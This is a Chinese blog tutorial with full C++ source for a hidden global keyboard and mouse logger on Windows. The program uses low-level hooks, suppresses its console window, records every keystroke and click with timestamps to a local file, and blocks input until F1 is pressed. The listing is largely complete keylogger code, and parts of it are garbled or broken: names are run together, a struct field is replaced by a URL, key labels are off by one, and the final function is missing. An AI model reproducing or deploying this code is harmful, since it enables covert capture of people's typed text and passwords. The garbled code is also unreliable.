行业新闻

实现简单全局键盘、鼠标记录器

实现简单全局键盘、鼠标记录器

 

记一次通过HOOK实现简单的全局键盘、鼠标记录器

0、说明1、SetWindowsHookEx函数介绍

(1)第一个参数

(2)第二个参数

(3)第三个参数

(4)第四个参数

2、设置全局钩子获取消息队列中的消息

(1)写在main函数之前

(2)安装钩子

(3)获取消息队列中的消息

(4)设置钩子过程函数

3、键盘钩子过程函数

(1)键盘钩子过程函数的参数

(2)KBDLLHOOKSTRUCT结构体

(3)识别大小写或特殊字符

(4)记录按键时间和按键状态

(5)将按键信息记录到文件里

(6)拦截所有按键消息,按F1键卸载钩子解除拦截

4、鼠标钩子过程函数

(1)键盘钩子过程函数的参数

(2)MSLLHOOKSTRUCT结构体

(3)识别鼠标按键消息

(4)拦截鼠标按键消息,记录到文件

5、总结

6、演示效果

7、所有源码

7、参考文章

 

0、说明

记录一次利用SetWindowsHookEx这个API设置全局键盘、鼠标钩子的过程。

这个钩子是直接在写在exe里面,没有写在dll里。通过消息循环,钩子会直接截获消息队列中的消息,执行钩子对应的过程函数。

相当于基于windows消息机制的消息Hook

最后效果是:

  1. 拦截全局键盘,识别大小写和特殊字符,(不响应键盘所有按键)。
  2. 鼠标点击消息,识别左右按键,不拦截鼠标移动消息,(鼠标可以正常移动,无法响应点击)。
  3. 将按键消息和鼠标点击消息记录在文件里。
  4. 直到按下F1键时,卸载全局键盘、鼠标钩子,所有恢复正常。

当然,也可以不拦截消息,只做一个消息监视器,监视所有消息。

环境:Win10

编译器:VS2019

 

1、SetWindowsHookEx函数介绍

微软官方文档:SetWindowsHookEx

//HHOOK是设定的钩子句柄,一般定义为全局变量。
HHOOKSetWindowsHookExA(
[in] intidHook,
[in] HOOKPROClpfn,
[in] HINSTANCEhmod,
[in] DWORDdwThreadId
);

(1)第一个参数

idHook代表代表设置钩子的类型,比如键盘钩子、鼠标钩子、消息钩子等,微软给了宏定义,以下列几个常用的

宏含义
WH_KEYBOARD 钩取键盘输入消息
WH_KEYBOARD_LL 钩取低级键盘输入消息
WH_MOUSE 钩取鼠标输入消息
WH_MOUSE_LL 钩取低级鼠标输入消息
WH_MSGFILTER 监视一些窗口控件交互的消息(对话框、菜单、滚动条等)
WH_GETMESSAGE 钩取所有从消息队列出来的消息

我们要制作的钩子类型就是WH_KEYBOARD_LL、和WH_MOUSE_LL,(如果是在dll中就得使用WH_KEYBOARDWH_MOUSE)。

(2)第二个参数

lpfn代表钩子的过程函数指针,钩子的过程函数类型是HOOKPROC,微软有官方解释:

微软官方文档:HOOKPROC

HOOKPROCHookproc;
​
LRESULTHookproc(
intcode,
[in] WPARAMwParam,
[in] LPARAMlParam
)

钩子过程函数类型大概是固定的,三个参数,记录消息信息,但重点是,不同的钩子类型,也对应不同的参数用法。(下面的键盘钩子过程函数、鼠标钩子过程函数会分别展开讲解。)

(3)第三个参数

hmod指向一般指向过程函数所在模块的句柄,对于本钩子而言,就是自己模块的句柄,即:

GetModuleHandle(NULL)

(4)第四个参数

dwThreadId代表需要勾住的特定线程的ID。

对于桌面应用程序,如果设置为NULL,则挂钩过程与调用线程在同一桌面上运行的所有现有线程相关联,即设置为NULL代表全局钩子。

2、设置全局钩子获取消息队列中的消息

(1)写在main函数之前

因为我写的钩子是直接写到exe里面,所以下面有声明全局变量和一些函数声明写在main函数之前。

#define _CRT_SECURE_NO_DEPRECATE//屏蔽VS的一些安全警告。。。
​
//预编译,让控制台窗口程序,不显示控制台窗口,直接后台运行。。。
#pragma comment(linker, "/subsystem:\"windows\"   /entry:\"mainCRTStartup\"")
​
#include<Windows.h>
#include <stdio.h>
#include <iostream>
​
​
​
//全局键盘Hook句柄
HHOOKhKeyboardHook;
​
//全局鼠标hook句柄
HHOOKhMouseHook;
​
//安装钩子hook的函数
BOOLHookKeyBoardProc();
​
//记录Shift消息
BOOLbShift=FALSE;
​
​
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
​
//键盘钩子过程函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam);
//鼠标钩子键盘函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam);
​
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
voidHookCode(DWORDcode, BOOLcaps, BOOLshift ,char*Out);
​
//将记录的键盘、鼠标信息写入文件
BOOLWriteMessageToFile(char*Date_Key, intlen);

(2)安装钩子

然后在主进程里安装钩子。

//安装键盘钩子
hKeyboardHook=SetWindowsHookExA(
WH_KEYBOARD_LL,//Installs a hook procedure that monitors low-level keyboard input events.
KeyBoardProc, //键盘钩子的过程函数
GetModuleHandle(NULL),//指向一般指向过程函数所在模块的句柄
NULL//代表需要勾住的特定线程的ID,NULL代表全局钩子
  );
​
//安装鼠标钩子
hMouseHook=SetWindowsHookExA(
WH_MOUSE_LL,//Installs a hook procedure that monitors low-level mouse input events.
MouseCursorProc, //鼠标钩子的过程函数
GetModuleHandle(NULL), //指向一般指向过程函数所在模块的句柄
NULL//代表需要勾住的特定线程的ID,NULL代表全局钩子
  );//安装

(3)获取消息队列中的消息

当全局钩子设定好,我们要主动去系统消息队列中获取消息。

MSGMsg{};
while (GetMessage(&Msg, NULL, 0, 0) >0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}

因为钩子函数特性,如果写在主程序exe里,搭配这个消息循环,这时所有消息会优先通过提前安装的钩子,通过钩子的过程函数,可以处理这个消息,并决定这个消息是否传递给其他窗口过程函数。

(4)设置钩子过程函数

这里给出钩子过程函数框架:微软官方文档:HOOKPROC

LRESULTCALLBACKHookProcedureFunc(intnCode, WPARAMwParam, LPARAMlParam) {

printf("Hello!HOOK Procedure Function!\n");
return0;
//return 1;
//return CallNextHookEx
}

注意返回值,根据规定,

非零就是将钩子截获的特定类型消息不传递给窗口过程函数,即直接拦截。

为零就继续传递窗口过程函数处理,即只是监视。

但如果存在相同类型的钩子链,可以通过

return CallNextHookEx

来传递截获的消息传给钩子链中的下一个钩子再做处理,即向下传递钩取的消息,但要注意,这样的话,过程函数的返回值也会通过钩子链向上传递,影响消息是否传被拦截还是监视。

此时钩子已经安装好了,已经可以实现简单的监视功能,所有我们符合我们设置类型的消息会优先被我们的钩子函数处理。

下面就是完善钩子的过程函数,对截获的消息进行处理,实现键盘、鼠标消息记录。

 

3、键盘钩子过程函数

//安装键盘钩子
hKeyboardHook=SetWindowsHookExA(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL),NULL );

当第一个参数钩子类型设置为WH_KEYBOARD_LL时,第四个参数为NULL时,代表设置的钩子为全局键盘钩子。

此时被拦截的消息表示为:按键DOWN、按键UP。(即一个按键被按下产生一个消息,放开按键又产生一个消息)

(1)键盘钩子过程函数的参数

此时键盘钩子对应的窗口过程函数:微软官方:LowLevelKeyboardProc 回调函数

LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam) {
return1;//代表拦截消息
}

第一个参数nCode一般记录被此钩子拦截的消息的次数。重点在于后面两个参数

第二个参数代表windows消息:WM_KEYDOWNWM_KEYUP,分别代表键盘按键按下和放开。

第三个参数指向KBDLLHOOKSTRUCT结构的指针,结构体指针。

(2)KBDLLHOOKSTRUCT结构体

typedefstructtagKBDLLHOOKSTRUCT {
DWORDvkCode;//虚拟键码,1~254范围的值
DWORDscanCode;
DWORDflags;
DWORDtime;
ULONG_PTRdwExtraInfo;
} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

键盘钩子这里我们只需要明白这个结构体的第一个成员vkCode代表一个虚拟键码。

虚拟键码:即键盘上每一个按键都对应这一个虚拟键码。

但是虚拟键码不会区分大小写或特殊字符的情况。所以需要我们通过算法识别。

(3)识别大小写或特殊字符

一般我们使用键盘,造成大小写差异的按键就是CapsLkShift按键,注意Shift有左右两个。

关于CapsLk按键,通过下面获取CapsLk状态,是否开启大写。

SHORTcapsShort=GetKeyState(VK_CAPITAL);
BOOLcaps=FALSE;  // 默认大写关闭
if (capsShort>0)
{
// 如果大于0,则大写键按下,说明开启大写;反之小写
caps=TRUE;
}

关于Shift按键,通过下面获取Shift按键状态,是否正在被按下且没有放开按键。

//VK_LSHIFT和VK_RSHIFT分别代表左右Shift按键的虚拟键码。
if (p->vkCode==VK_LSHIFT||p->vkCode==VK_RSHIFT)
{
if (wParam==WM_KEYDOWN)
  {
bShift=TRUE;
  }
elseif (wParam==WM_KEYUP)
  {
bShift=FALSE;
  }
else
  {
bShift=FALSE;
  }
}

然后通过算法HookCode子函数,来识别按键是否大小写或特殊字符

PKBDLLHOOKSTRUCTp= (PKBDLLHOOKSTRUCT)lParam;
HookCode(p->vkCode , caps, bShift, WM_Key);//WM_Key是自定义的数组,存储返回的字符串
​
//HookCode函数算法学习自文章末尾给的参考文章。
/********************************************************
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
*********************************************************/
voidHookCode(DWORDcode, BOOLcaps, BOOLshift, char*Out)
{
std::stringkey;
switch (code) // SWITCH ON INT
  {
// Char keys for ASCI
// No VM Def in header
case0x41: key=caps? (shift?"a" : "A") : (shift?"A" : "a"); break;
case0x42: key=caps? (shift?"b" : "B") : (shift?"B" : "b"); break;
case0x43: key=caps? (shift?"c" : "C") : (shift?"C" : "c"); break;
case0x44: key=caps? (shift?"d" : "D") : (shift?"D" : "d"); break;
case0x45: key=caps? (shift?"e" : "E") : (shift?"E" : "e"); break;
case0x46: key=caps? (shift?"f" : "F") : (shift?"F" : "f"); break;
case0x47: key=caps? (shift?"g" : "G") : (shift?"G" : "g"); break;
case0x48: key=caps? (shift?"h" : "H") : (shift?"H" : "h"); break;
case0x49: key=caps? (shift?"i" : "I") : (shift?"I" : "i"); break;
case0x4A: key=caps? (shift?"j" : "J") : (shift?"J" : "j"); break;
case0x4B: key=caps? (shift?"k" : "K") : (shift?"K" : "k"); break;
case0x4C: key=caps? (shift?"l" : "L") : (shift?"L" : "l"); break;
case0x4D: key=caps? (shift?"m" : "M") : (shift?"M" : "m"); break;
case0x4E: key=caps? (shift?"n" : "N") : (shift?"N" : "n"); break;
case0x4F: key=caps? (shift?"o" : "O") : (shift?"O" : "o"); break;
case0x50: key=caps? (shift?"p" : "P") : (shift?"P" : "p"); break;
case0x51: key=caps? (shift?"q" : "Q") : (shift?"Q" : "q"); break;
case0x52: key=caps? (shift?"r" : "R") : (shift?"R" : "r"); break;
case0x53: key=caps? (shift?"s" : "S") : (shift?"S" : "s"); break;
case0x54: key=caps? (shift?"t" : "T") : (shift?"T" : "t"); break;
case0x55: key=caps? (shift?"u" : "U") : (shift?"U" : "u"); break;
case0x56: key=caps? (shift?"v" : "V") : (shift?"V" : "v"); break;
case0x57: key=caps? (shift?"w" : "W") : (shift?"W" : "w"); break;
case0x58: key=caps? (shift?"x" : "X") : (shift?"X" : "x"); break;
case0x59: key=caps? (shift?"y" : "Y") : (shift?"Y" : "y"); break;
case0x5A: key=caps? (shift?"z" : "Z") : (shift?"Z" : "z"); break;
// Sleep Key
caseVK_SLEEP: key="[SLEEP]"; break;
// Num Keyboard
caseVK_NUMPAD0:  key="0"; break;
caseVK_NUMPAD1:  key="1"; break;
caseVK_NUMPAD2: key="2"; break;
caseVK_NUMPAD3:  key="3"; break;
caseVK_NUMPAD4:  key="4"; break;
caseVK_NUMPAD5:  key="5"; break;
caseVK_NUMPAD6:  key="6"; break;
caseVK_NUMPAD7:  key="7"; break;
caseVK_NUMPAD8:  key="8"; break;
caseVK_NUMPAD9:  key="9"; break;
caseVK_MULTIPLY: key="*"; break;
caseVK_ADD:      key="+"; break;
caseVK_SEPARATOR: key="-"; break;
caseVK_SUBTRACT: key="-"; break;
caseVK_DECIMAL:  key="."; break;
caseVK_DIVIDE:   key="/"; break;
// Function Keys
caseVK_F1:  key="[F1]"; break;
caseVK_F2:  key="[F2]"; break;
caseVK_F3:  key="[F3]"; break;
caseVK_F4:  key="[F4]"; break;
caseVK_F5:  key="[F5]"; break;
caseVK_F6:  key="[F6]"; break;
caseVK_F7:  key="[F7]"; break;
caseVK_F8:  key="[F8]"; break;
caseVK_F9:  key="[F9]"; break;
caseVK_F10:  key="[F10]"; break;
caseVK_F11:  key="[F11]"; break;
caseVK_F12:  key="[F12]"; break;
caseVK_F13:  key="[F13]"; break;
caseVK_F14:  key="[F14]"; break;
caseVK_F15:  key="[F15]"; break;
caseVK_F16:  key="[F16]"; break;
caseVK_F17:  key="[F17]"; break;
caseVK_F18:  key="[F18]"; break;
caseVK_F19:  key="[F19]"; break;
caseVK_F20:  key="[F20]"; break;
caseVK_F21:  key="[F22]"; break;
caseVK_F22:  key="[F23]"; break;
caseVK_F23:  key="[F24]"; break;
caseVK_F24:  key="[F25]"; break;
// Keys
caseVK_NUMLOCK: key="[NUM-LOCK]"; break;
caseVK_SCROLL:  key="[SCROLL-LOCK]"; break;
caseVK_BACK:    key="[BACK]"; break;
caseVK_TAB:     key="[TAB]"; break;
caseVK_CLEAR:   key="[CLEAR]"; break;
caseVK_RETURN:  key="[ENTER]"; break;
caseVK_SHIFT:   key="[SHIFT]"; break;
caseVK_CONTROL: key="[CTRL]"; break;
caseVK_MENU:    key="[ALT]"; break;
caseVK_PAUSE:   key="[PAUSE]"; break;
caseVK_CAPITAL: key="[CAP-LOCK]"; break;
caseVK_ESCAPE:  key="[ESC]"; break;
caseVK_SPACE:   key="[SPACE]"; break;
caseVK_PRIOR:   key="[PAGEUP]"; break;
caseVK_NEXT:    key="[PAGEDOWN]"; break;
caseVK_END:     key="[END]"; break;
caseVK_HOME:    key="[HOME]"; break;
caseVK_LEFT:    key="[LEFT]"; break;
caseVK_UP:      key="[UP]"; break;
caseVK_RIGHT:   key="[RIGHT]"; break;
caseVK_DOWN:    key="[DOWN]"; break;
caseVK_SELECT:  key="[SELECT]"; break;
caseVK_PRINT:   key="[PRINT]"; break;
caseVK_SNAPSHOT: key="[PRTSCRN]"; break;
caseVK_INSERT:  key="[INS]"; break;
caseVK_DELETE:  key="[DEL]"; break;
caseVK_HELP:    key="[HELP]"; break;
// Number Keys with shift
case0x30:  key=shift?"!" : "1"; break;
case0x31:  key=shift?"@" : "2"; break;
case0x32:  key=shift?"#" : "3"; break;
case0x33:  key=shift?"$" : "4"; break;
case0x34:  key=shift?"%" : "5"; break;
case0x35:  key=shift?"^" : "6"; break;
case0x36:  key=shift?"&" : "7"; break;
case0x37:  key=shift?"*" : "8"; break;
case0x38:  key=shift?"(" : "9"; break;
case0x39:  key=shift?")" : "0"; break;
// Windows Keys
caseVK_LWIN:     key="[WIN]"; break;
caseVK_RWIN:     key="[WIN]"; break;
caseVK_LSHIFT:   key="[SHIFT]"; break;
caseVK_RSHIFT:   key="[SHIFT]"; break;
caseVK_LCONTROL: key="[CTRL]"; break;
caseVK_RCONTROL: key="[CTRL]"; break;
// OEM Keys with shift
caseVK_OEM_1:      key=shift?":" : ";"; break;
caseVK_OEM_PLUS:   key=shift?"+" : "="; break;
caseVK_OEM_COMMA:  key=shift?"<" : ","; break;
caseVK_OEM_MINUS:  key=shift?"_" : "-"; break;
caseVK_OEM_PERIOD: key=shift?">" : "."; break;
caseVK_OEM_2:      key=shift?"?" : "/"; break;
caseVK_OEM_3:      key=shift?"~" : "`"; break;
caseVK_OEM_4:      key=shift?"{" : "["; break;
caseVK_OEM_5:      key=shift?"\\" : "|"; break;
caseVK_OEM_6:      key=shift?"}" : "]"; break;
caseVK_OEM_7:      key=shift?"'" : "'"; break; //TODO: Escape this char: "
// Action Keys
caseVK_PLAY:       key="[PLAY]";
caseVK_ZOOM:       key="[ZOOM]";
caseVK_OEM_CLEAR:  key="[CLEAR]";
caseVK_CANCEL:     key="[CTRL-C]";
​
default: key="[UNK-KEY]";
break;
  }
key.copy(Out+strlen(Out), key.length(), 0);
​
return ;
}

(4)记录按键时间和按键状态

char WM_Key[40] = {0};

char Date_Key[200] = { 0 };
SYSTEMTIME time;
GetLocalTime(&time);
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
int len = strlen(Date_Key);

if (wParam == WM_KEYDOWN)
{
sprintf(WM_Key, "%s", "WM_KEYDOWN_");
}
else {
sprintf(WM_Key, "%s", "WM_KEYUP_");
}

HookCode(p->vkCode , caps, bShift, WM_Key);

strcpy(Date_Key+strlen(Date_Key), WM_Key);

len = strlen(Date_Key);
Date_Key[len] = '\n';
Date_Key[len+1] = 0;

(5)将按键信息记录到文件里

//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len+1)) {
exit(0);
}

/********************************************************
函数作用:将字符消息写入对应文件。
返回值:是否写入成功acq
*********************************************************/
BOOL WriteMessageToFile(char* Date_Key, int len) {

HANDLE hFile = CreateFileA(
"./record.txt",
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
MessageBox(NULL, L"open file failed!", L"tip", NULL);
return FALSE;
}
SetFilePointer(hFile, NULL, NULL, FILE_END);
DWORD dwWrited = 0;
WriteFile(hFile, Date_Key, len , &dwWrited, NULL);
CloseHandle(hFile);

return TRUE;
}

(6)拦截所有按键消息,按F1键卸载钩子解除拦截

前面说过,如果安装的钩子要拦截消息,那么钩子的过程函数返回值就的是一个非零的值。

所以我们令钩子的过程函数return 1

然后设置一个按键表示手动卸载钩子,解除拦截。

//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
if ( !memcmp(exitKey, WM_Key,strlen(exitKey) ) ) {
​
UnhookWindowsHookEx(hKeyboardHook);//卸载键盘钩子
UnhookWindowsHookEx(hMouseHook);//卸载鼠标钩子
  ::MessageBox(NULL, L"KeyBoardHook、MouseHook unmounted!", L"Tip", NULL);
exit(0);
}

以上就是键盘钩子过程函数的设定了。

 

4、鼠标钩子过程函数

//安装鼠标钩子
hMouseHook=SetWindowsHookExA(WH_MOUSE_LL, MouseCursorProc, GetModuleHandle(NULL), NULL);

当第一个参数钩子类型设置为WH_MOUSE_LL时,第四个参数为NULL时,代表设置的钩子为全局键盘钩子。

此时被拦截的消息表示为:鼠标上按键的按下和放开。

鼠标上的按键可以有很多,但是我们这个钩子只是简单识别鼠标左键、右键的按下和放开即可。

(1)键盘钩子过程函数的参数

此时鼠标钩子对应的窗口过程函数:微软官方:LowLevelMouseProc 回调函数

LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam) {
return1;//代表拦截消息
}

第一个参数nCode一般记录被此钩子拦截的消息的次数。重点在于后面两个参数

第二个参数代表windows消息包含鼠标按键和鼠标移动:WM_LBUTTONDOWNWM_LBUTTONUPWM_RBUTTONDOWNWM_RBUTTONUP,我们着重这四个消息,分别代表鼠标左键的按下、放开和右键的按下、放开。(因为我们不拦截鼠标移动消息,只拦截鼠标左右按键按下的消息。)

第三个参数指向MSLLHOOKSTRUCT结构的指针,结构体指针。

(2)MSLLHOOKSTRUCT结构体

typedefstructtagMSLLHOOKSTRUCT {
POINThttps://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985(v=vs.85);//POINT结构体,pt->x、pt->y记录鼠标的x、y坐标
DWORDmouseData;
DWORDflags;
DWORDtime;
ULONG_PTRdwExtraInfo;
} MSLLHOOKSTRUCT, *LPMSLLHOOKSTRUCT, *PMSLLHOOKSTRUCT;

鼠标钩子这里我们只需要明白这个结构体的第一个成员pt,指向一个POINT结构。

用于记录鼠标发出点击事件时的坐标。

(3)识别鼠标按键消息

//同样是记录消息产生时间
SYSTEMTIME time;
GetLocalTime(&time);
char Date_Key[200] = { 0 };
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);


switch (wParam)
{
case WM_LBUTTONDOWN:
strcat(Date_Key, "WM_L_BUTTON_DOWN");
break;
case WM_LBUTTONUP:
strcat(Date_Key, "WM_L_BUTTON_UP");
break;
case WM_RBUTTONDOWN:
strcat(Date_Key, "WM_R_BUTTON_DOWN");
break;
case WM_RBUTTONUP:
strcat(Date_Key, "WM_R_BUTTON_UP");
break;
default:
return 0;
}

这里default: return 0;表示,如果鼠标钩子钩取的鼠标消息,不是我们预定的四个鼠标按键消息,即是鼠标移动的消息,那么就将钩子过程函数return 0;,代表将这个鼠标移动的消息正常传递给窗口过程函数,即不拦截。

(4)拦截鼠标按键消息,记录到文件

intlen=strlen(Date_Key);
sprintf(Date_Key+len, " pX=%d,pY=%d\n", p->pt.x, p->pt.y);
len=strlen(Date_Key);
​
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len)) {
exit(0);
  }
​
return1;

这里是钩子过程函数结尾,所以直接return 1;代表钩子拦截消息。

以上就是钩子函数的过程函数设定了。

 

5、总结

根据前面设定键盘钩子、鼠标钩子,我们可以发现相似点。

不管是键盘钩子的过程函数:微软官方:LowLevelKeyboardProc 回调函数

还是鼠标钩子的过程函数:微软官方:LowLevelMouseProc 回调函数

其实函数类型都是一样的,只是参数的用法不同而已。包括第二个参数wParam都是代表windows消息类型,第三个参数指向的结构体,虽然定义不同,但可以发现,本质是一样的,也就是可以说他们就是一样的结构体,只是当我们设定不同类型钩子的时候,这个结构体成员代表的意义也不同。

我们再回头去看微软官方文档:SetWindowsHookEx,可以发现,说这个API第二个参数是函数指针,类型为HOOKPROC

那么就再去查一下HOOKPROC,果然:微软官方文档:HOOKPROC 回调函数,告诉我们,这个函数的第三个参数是指向CWPRETSTRUCT结构的指针。

就发现,键盘钩子指向的KBDLLHOOKSTRUCT结构和鼠标钩子指向的MSLLHOOKSTRUCT结构本质上都是CWPRETSTRUCT结构。

 

6、演示效果

执行效果,因为不显示控制台窗口,所以执行后没有任何显示,但是此时键盘、鼠标按键已经被拦截失效,直到按F1键同时卸载鼠标、键盘钩子,恢复正常,拦截的消息记录在exe同文件下生成的record.txt文件。

  1. 拦截全局键盘,识别大小写和特殊字符,(不响应键盘所有按键)。
  2. 鼠标点击消息,识别左右按键,不拦截鼠标移动消息,(鼠标可以正常移动,无法响应点击)。
  3. 将按键消息和鼠标点击消息记录在文件里。
  4. 直到按下F1键时,卸载全局键盘、鼠标钩子,所有恢复正常。

按下F1后,会弹出MessageBox提示已经卸载钩子。

然后打开record.txt文件,记录鼠标键盘按键消息。

 

7、所有源码

因为写在主程序里,所以就一个cpp文件。

//环境:Win10
//编译:VS2019,创建简单的C++空项目。
#define _CRT_SECURE_NO_DEPRECATE//屏蔽VS的一些安全警告。。。
​
//预编译,让控制台窗口程序,不显示控制台窗口,直接后台运行。。。
#pragma comment(linker, "/subsystem:\"windows\"   /entry:\"mainCRTStartup\"")
​
#include<Windows.h>
#include <stdio.h>
#include <iostream>
​
​
​
//全局键盘Hook句柄
HHOOKhKeyboardHook;
​
//全局鼠标hook句柄
HHOOKhMouseHook;
​
//安装钩子hook的函数
BOOLHookKeyBoardProc();
​
//记录Shift消息
BOOLbShift=FALSE;
​
​
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
​
//键盘钩子过程函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam);
//鼠标钩子键盘函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam);
​
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
voidHookCode(DWORDcode, BOOLcaps, BOOLshift ,char*Out);
​
//将记录的键盘、鼠标信息写入文件
BOOLWriteMessageToFile(char*Date_Key, intlen);
​
//int KeyN = 0;
​
intmain() {
​
HookKeyBoardProc();

return0;
}
​
/********************************************************
函数作用:设置键盘钩子
返回值:是否hook成功
*********************************************************/
BOOLHookKeyBoardProc() {
​
hKeyboardHook=SetWindowsHookExA(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL),NULL );
hMouseHook=SetWindowsHookExA(WH_MOUSE_LL, MouseCursorProc, GetModuleHandle(NULL), NULL);
//hMouseHook = (HHOOK)1;

​
if (!(hKeyboardHook&&hMouseHook )) {
//printf("Failed to SetWindowsHookEx!\n");
//MessageBox(NULL, L"SetWindowsHookEx Failed!", L"Tip", NULL);
returnFALSE;
}
else {
//printf("Start to SetWindowsHookEx!\n");
//MessageBox(NULL, L"SetWindowsHookEx Success!", L"Tip", NULL);
​
MSGMsg{};
while (GetMessage(&Msg, NULL, 0, 0) >0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
​
//Sleep(5000);
}
returnTRUE;
}
/********************************************************
函数作用:将字符消息写入对应文件。
返回值:是否写入成功acq
*********************************************************/
BOOLWriteMessageToFile(char*Date_Key, intlen) {
​
HANDLEhFile=CreateFileA(
"./record.txt",
GENERIC_WRITE|GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
  );
if (hFile==INVALID_HANDLE_VALUE) {
MessageBox(NULL, L"open file failed!", L"tip", NULL);
returnFALSE;
  }
SetFilePointer(hFile, NULL, NULL, FILE_END);
DWORDdwWrited=0;
WriteFile(hFile, Date_Key, len , &dwWrited, NULL);
CloseHandle(hFile);
​
returnTRUE;
}
​
/********************************************************
函数作用:鼠标钩子回调
返回值:是否hook成功acq
*********************************************************/
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam) {
PMSLLHOOKSTRUCTp= (PMSLLHOOKSTRUCT)lParam;
​
SYSTEMTIMEtime;
GetLocalTime(&time);
charDate_Key[200] = { 0 };
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
​
switch (wParam)
  {
caseWM_LBUTTONDOWN:
strcat(Date_Key, "WM_L_BUTTON_DOWN");
break;
caseWM_LBUTTONUP:
strcat(Date_Key, "WM_L_BUTTON_UP");
break;
caseWM_RBUTTONDOWN:
strcat(Date_Key, "WM_R_BUTTON_DOWN");
break;
caseWM_RBUTTONUP:
strcat(Date_Key, "WM_R_BUTTON_UP");
break;
default:
return0;
  }
intlen=strlen(Date_Key);
sprintf(Date_Key+len, " pX=%d,pY=%d\n", p->pt.x, p->pt.y);
len=strlen(Date_Key);
​
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len)) {
exit(0);
  }
return1;
}
​
/********************************************************
函数作用:键盘钩子回调
返回值:是否hook成功acq
*********************************************************/
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam) {


PKBDLLHOOKSTRUCTp= (PKBDLLHOOKSTRUCT)lParam;
BOOLcaps=FALSE;  // 默认大写关闭
SHORTcapsShort=GetKeyState(VK_CAPITAL);
charszKey[20] = { 0 };
GetKeyNameTextA(lParam, szKey, 100);
​
if (capsShort>0)
  {
// 如果大于0,则大写键按下,说明开启大写;反之小写
caps=TRUE;
  }
if (p->vkCode==VK_LSHIFT||p->vkCode==VK_RSHIFT)
{
if (wParam==WM_KEYDOWN)
{
bShift=TRUE;
}
elseif (wParam==WM_KEYUP)
{
bShift=FALSE;
}
else
{
bShift=FALSE;
}
}
if (p->vkCode )
{
charWM_Key[40] = {0};
​
charDate_Key[200] = { 0 };
SYSTEMTIMEtime;
GetLocalTime(&time);
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
intlen=strlen(Date_Key);
​
if (wParam==WM_KEYDOWN)
      {
sprintf(WM_Key, "%s", "WM_KEYDOWN_");
      }
else {
sprintf(WM_Key, "%s", "WM_KEYUP_");
      }
HookCode(p->vkCode , caps, bShift, WM_Key);
​
strcpy(Date_Key+strlen(Date_Key), WM_Key);
​
len=strlen(Date_Key);
Date_Key[len] ='\n';
Date_Key[len+1] =0;
​
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len+1)) {
exit(0);
      }

if ( !memcmp(exitKey, WM_Key,strlen(exitKey) ) ) {
​
UnhookWindowsHookEx(hKeyboardHook);
UnhookWindowsHookEx(hMouseHook);
          ::MessageBox(NULL, L"KeyBoardHook、MouseHook unmounted!", L"Tip", NULL);
exit(0);
      }
}
return1;
}
​
​
//HookCode函数算法学习自文章末尾给的参考文章。
/********************************************************
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
